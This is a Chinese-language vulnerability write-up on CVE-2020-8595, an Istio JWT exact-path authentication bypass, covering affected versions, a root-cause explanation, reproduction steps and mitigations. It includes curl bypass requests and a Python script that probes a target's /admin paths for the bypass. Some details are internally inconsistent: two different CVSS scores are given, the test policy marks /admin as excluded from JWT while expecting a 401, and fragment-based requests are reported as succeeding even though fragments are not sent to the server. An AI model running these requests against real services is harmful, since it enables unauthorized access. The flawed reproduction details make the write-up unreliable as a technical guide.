一、漏洞简介¶
1.1 漏洞背景¶
Istio 是一个开源的服务网格平台,提供了统一的方式来连接、保护、控制和服务监控微服务。其中,JWT(JSON Web Token)认证策略是 Istio 重要的安全功能之一,用于验证访问服务的请求是否携带有效的身份令牌。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2020-8595 |
| 危害等级 | HIGH / 7.3 |
| 漏洞类型 | JWT 认证策略绕过漏洞 |
| 披露时间 | 2020-02-12 |
| 影响组件 | Istio |
- CVE编号: CVE-2020-8595
- 危害等级: 高危 (High)
- CVSS评分: 9.0 (AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)
- 漏洞类型: 认证绕过 (Authentication Bypass)
- CWE分类: CWE-287: Improper Authentication
补充核验信息:公开时间:2020-02-12;NVD 评分:7.3(HIGH);CWE:CWE-287。
二、影响范围¶
2.1 受影响的版本¶
- Istio 1.2.10 及之前版本(已停止维护)
- Istio 1.3.0 - 1.3.7
- Istio 1.4.0 - 1.4.3
2.2 不受影响的版本¶
- Istio 1.3.8 及更高版本
- Istio 1.4.4 及更高版本
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 使用了 Istio 的 JWT 认证策略
- 认证策略中配置了基于精确路径(exact path)匹配的规则
- 攻击者能够在请求 URL 中添加查询参数(?)或片段标识符(#)
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
Istio 的 JWT 认证策略支持基于路径的精确匹配(exact path match)。漏洞的核心问题在于:路径匹配逻辑在进行比较时,没有正确处理 URL 中的查询字符串(query string)和片段(fragment)部分。
根据规范,URL 的标准格式为:
scheme://host:port/path?query#fragment
当管理员配置保护路径 /api/admin 时,期望只有携带有效 JWT token 的请求才能访问。然而,攻击者可以通过以下方式绕过认证:
GET /api/admin?bypass HTTP/1.1
Host: target-service
# 或者
GET /api/admin#section HTTP/1.1
Host: target-service
3.2 源码层面的根因分析(结合源码与补丁对比)¶
漏洞存在于 Istio 的 Envoy JWT filter 配置生成代码中。问题代码简化逻辑如下:
// 伪代码展示漏洞原理
func generateJWTFilter(policy *AuthenticationPolicy) *jwt.AuthnFilter {
for _, rule := range policy.Spec.Rules {
for _, trigger := range rule.Triggers {
if trigger.ExactPath != "" {
// 漏洞点:直接使用完整路径进行匹配
// 没有移除查询字符串和片段部分
matchPath := trigger.ExactPath // 错误:应该是去除?和#后的路径
config.Rules = append(config.Rules, &jwt.JwtRule{
Match: []*jwt.Matcher{
{
PathSpecifier: &pathmatch.Path{
Path: matchPath, // 这里包含了完整的 URI
},
},
},
})
}
}
}
return config
}
正确的实现应该是:
// 正确的实现
func generateJWTFilter(policy *AuthenticationPolicy) *jwt.AuthnFilter {
for _, rule := range policy.Rules {
for _, trigger := range rule.Triggers {
if trigger.ExactPath != "" {
// 正确:解析 URL 并只提取路径部分
matchPath := extractPathOnly(trigger.ExactPath)
// 移除查询参数和片段
config.Rules = append(config.Rules, &jwt.JwtRule{
Match: []*jwt.Matcher{
{
PathSpecifier: &pathmatch.Path{
Path: matchPath,
},
},
},
})
}
}
}
return config
}
func extractPathOnly(uri string) string {
// 移除查询参数
if idx := strings.Index(uri, "?"); idx != -1 {
uri = uri[:idx]
}
// 移除片段
if idx := strings.Index(uri, "#"); idx != -1 {
uri = uri[:idx]
}
return uri
}
四、漏洞复现(可选)¶
4.1 环境搭建¶
环境要求: - Kubernetes 集群(建议使用 Minikube 或 Kind) - Istio 1.3.7(受影响版本)
步骤 1: 安装受影响版本的 Istio
# 下载 Istio 1.3.7
curl -L https://git.io/getLatestIstio | ISTIO_VERSION=1.3.7 sh -
cd istio-1.3.7
# 安装 Istio
export PATH=$PWD/bin:$PATH
istioctl manifest apply --set profile=demo
步骤 2: 部署测试应用
# 创建命名空间并启用自动注入
kubectl create ns vulnerable-app
kubectl label namespace vulnerable-app istio-injection=enabled
# 部署 httpbin 示例应用
kubectl apply -n vulnerable-app -f - <<EOF
apiVersion: apps/v1
kind: Deployment
metadata:
name: httpbin
spec:
replicas: 1
selector:
matchLabels:
app: httpbin
template:
metadata:
labels:
app: httpbin
spec:
containers:
- name: httpbin
image: kennethreitz/httpbin
ports:
- containerPort: 80
---
apiVersion: v1
kind: Service
metadata:
name: httpbin
spec:
ports:
- port: 8000
targetPort: 80
name: http
selector:
app: httpbin
EOF
步骤 3: 配置 JWT 认证策略
# 创建 JWT 认证策略,保护 /admin 路径
kubectl apply -n vulnerable-app -f - <<EOF
apiVersion: authentication.istio.io/v1alpha1
kind: Policy
metadata:
name: jwt-policy
spec:
targets:
- name: httpbin
origins:
- jwt:
issuer: "test-issuer"
jwksUri: "https://raw.githubusercontent.com/istio/istio/master/security/tools/jwt/samples/jwks.json"
trigger_rules:
- excluded_paths:
- exact: /admin
- prefix: /admin/
principalBinding: USE_ORIGIN
EOF
4.2 PoC 演示与测试过程¶
步骤 1: 验证正常保护
# 获取服务访问地址(在 Minikube 环境中)
export INGRESS_PORT=$(kubectl -n istio-system get service istio-ingressgateway -o jsonpath='{.spec.ports[?(@.name=="http2")].nodePort}')
export INGRESS_HOST=$(minikube ip)
export GATEWAY_URL=$INGRESS_HOST:$INGRESS_PORT
# 尝试不带 JWT token 访问 /admin 路径
curl -v http://$GATEWAY_URL/admin
# 预期结果: 返回 401 Unauthorized
# 尝试使用无效 JWT token
curl -v -H "Authorization: Bearer invalid-token" http://$GATEWAY_URL/admin
# 预期结果: 返回 401 Unauthorized
步骤 2: 漏洞利用
# 使用查询参数绕过认证
curl -v http://$GATEWAY_URL/admin?bypass=1
# 实际结果: 返回 200 OK (成功绕过认证!)
# 使用片段标识符绕过认证
curl -v http://$GATEWAY_URL/admin#section1
# 实际结果: 返回 200 OK (成功绕过认证!)
# 组合使用
curl -v "http://$GATEWAY_URL/admin?foo=bar#bypass"
# 实际结果: 返回 200 OK
步骤 3: 验证后端实际接收到的请求
# 查看 httpbin pod 日志
kubectl logs -n vulnerable-app -l app=httpbin -f
# 当发送 /admin?bypass 时,后端实际接收到的路径是:
# GET /admin?bypass=1 HTTP/1.1
# 说明请求成功到达后端服务,认证被完全绕过
完整 PoC 脚本:
#!/usr/bin/env python3
import requests
import sys
def test_bypass(target_url):
"""
测试 CVE-2020-8595 JWT 认证绕过漏洞
Args:
target_url: 目标服务的基础 URL
"""
# 测试路径
test_paths = [
"/admin", # 正常路径(应该被阻止)
"/admin?bypass=1", # 使用查询参数绕过
"/admin#section1", # 使用片段绕过
"/admin?x=y#frag", # 组合绕过
"/admin/status?test=1", # 子路径绕过
"/admin/status#data", # 子路径片段绕过
]
print(f"[*] 测试目标: {target_url}")
print(f"[*] 开始测试 CVE-2020-8595 漏洞...\n")
for path in test_paths:
url = target_url + path
try:
response = requests.get(url, timeout=5, allow_redirects=False)
status = "VULNERABLE" if response.status_code == 200 else "PROTECTED"
print(f"[{status}] Path: {path}")
print(f" Status: {response.status_code}")
print(f" URL: {url}\n")
except Exception as e:
print(f"[ERROR] Path: {path}")
print(f" Error: {str(e)}\n")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_url>")
print(f"Example: {sys.argv[0]} http://192.168.99.100:31380")
sys.exit(1)
target = sys.argv[1]
test_bypass(target)
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
强烈建议升级到以下安全版本:
# 对于 Istio 1.3.x 用户
istioctl manifest apply --set profile=demo --set hub=docker.io/istio --set tag=1.3.8
# 对于 Istio 1.4.x 用户
istioctl manifest apply --set profile=demo --set hub=docker.io/istio --set tag=1.4.4
# 或者升级到更新的长期支持版本
istioctl manifest apply --set profile=demo
升级步骤:
# 1. 备份当前配置
kubectl get all -n istio-system -o yaml > istio-backup.yaml
kubectl get policies.authentication.istio.io --all-namespaces -o yaml > jwt-policies-backup.yaml
# 2. 下载新版本
curl -L https://istio.io/downloadIstio | sh -
cd istio-*
# 3. 升级 Istio
istioctl upgrade
# 4. 验证升级
kubectl get pods -n istio-system
istioctl version
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
如果无法立即升级,可采用以下临时缓解措施:
方案 1: 使用前缀匹配代替精确匹配
apiVersion: authentication.istio.io/v1alpha1
kind: Policy
metadata:
name: jwt-policy-workaround
spec:
targets:
- name: httpbin
origins:
- jwt:
issuer: "test-issuer"
jwksUri: "https://your-jwks-url/jwks.json"
trigger_rules:
- excluded_paths:
# 使用前缀匹配而不是精确匹配
- prefix: /admin
principalBinding: USE_ORIGIN
方案 2: 添加 Envoy Filter 进行路径规范化
apiVersion: networking.istio.io/v1alpha3
kind: EnvoyFilter
metadata:
name: path-normalization-filter
namespace: istio-system
spec:
configPatches:
- applyTo: HTTP_FILTER
match:
context: ANY
patch:
operation: INSERT_BEFORE
value:
name: envoy.lua
typed_config:
'@type': type.googleapis.com/envoy.config.filter.http.lua.v2.Lua
default_source_code:
inline_string: |
function envoy_on_request(request_handle)
local path = request_handle:headers():get(":path")
-- 移除查询参数和片段
local clean_path = path
local query_start = string.find(clean_path, "?")
if query_start then
clean_path = string.sub(clean_path, 1, query_start - 1)
end
local fragment_start = string.find(clean_path, "#")
if fragment_start then
clean_path = string.sub(clean_path, 1, fragment_start - 1)
end
request_handle:headers():replace(":path", clean_path)
end
方案 3: 在应用层添加额外的认证检查
// 在应用代码中添加路径验证
func authMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// 获取纯净的路径(移除查询参数和片段)
path := r.URL.Path
// 对敏感路径进行额外的 JWT 验证
if strings.HasPrefix(path, "/admin") {
token := r.Header.Get("Authorization")
if !validateJWT(token) {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
}
next.ServeHTTP(w, r)
})
}
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- Istio Security Bulletin: https://istio.io/latest/news/security/istio-security-2020-001/
- CVE-2020-8595 详情: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8595
- NVD 漏洞数据库: https://nvd.nist.gov/vuln/detail/CVE-2020-8595
6.2 其他技术参考资料¶
- Aspen Mesh 漏洞报告: https://aspenmesh.com/istio-security-vulnerability/
- RFC 3986 - URI 语法规范: https://tools.ietf.org/html/rfc3986
- Istio 认证策略文档: https://istio.io/latest/docs/reference/config/security/istio.authentication.v1alpha1/
- Envoy JWT Filter: https://www.envoyproxy.io/docs/envoy/latest/configuration/http/http_filters/jwt_authn_filter